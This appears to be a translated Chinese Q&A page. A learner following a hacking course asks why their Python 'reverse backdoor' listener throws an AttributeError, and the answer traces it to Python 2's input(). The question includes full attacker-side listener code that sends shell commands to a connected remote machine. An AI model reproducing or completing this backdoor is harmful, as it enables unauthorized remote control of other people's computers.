AttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门

Posted

技术标签:

【中文标题】AttributeError: \'builtin_function_or_method\' 对象没有属性 \'split\' - 反向后门【英文标题】:AttributeError: 'builtin_function_or_method' object has no attribute 'split' - reverseback doorAttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门 【发布时间】:2021-10-30 18:21:51 【问题描述】:

我正在使用 Zaid 的 Udemy 课程制作反向后门 不知怎的,我遇到了这个错误,Erorr image 请告诉我如何解决是

问候, 雅利安病毒

后门代码

import socket , json


class Listner:
    def __init__(self,ip,port):
        listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listner.bind((ip,port))
        print("[+] Waiting for incoming connections")
        listner.listen(0)
        self.connection ,address = listner.accept()
        print("[+] Got a connection form" + str(address))
  
    def reliable_send(self,data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8')) 

    def reliable_recv(self):
        json_data = ""
        while True:
            try: 
                json_data = json_data + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remote(self,command):
        self.reliable_send(command)
        if command[0] == "exit":
            self.connection.close()
            exit()
        
        return self.reliable_recv()
 
    def run(self):
        while True:
            command = input(">> ")
            command = command.split(" ")
            result = self.execute_remote(command)
            print(result)

mylistner = Listner("172.21.38.172",4444)
mylistner.run()

【问题讨论】:

旧 Python 版本(2)? 是python 2还是python 3,你输入了什么? 我正在使用 python 3 【参考方案1】:

旧的 Python 版本 (2)? – 克劳斯 D.

我正在使用 python 3 – 雅利安病毒

克劳斯 D. 是对的;你误会了。将dir 输入command 后,command.split(" ") 产生

AttributeError: 'builtin_function_or_method' object has no attribute 'split'

明确表明您使用的是 Python 2,其中input() 等同于eval(raw_input())您可以使用

验证版本 2
import sys
print sys.version

在 Python 2 中编写 dir.split(" ") 时会出现同样的错误。

如果您想继续使用 Python 2,可以使用 raw_input() 或引用所有输入字符串。

【讨论】:

以上是关于AttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门的主要内容,如果未能解决你的问题,请参考以下文章

为啥我收到错误:AttributeError:'builtin_function_or_method'对象没有属性'isdigit'

python dir(__builtins__)

AttributeError: 'builtin_function_or_method' 对象没有属性 'split' - 反向后门

AttributeError: ‘builtin_function_or_method‘ object has no attribute ‘randint‘

Python 的內建模块

谁举例讲解几个python 内置函数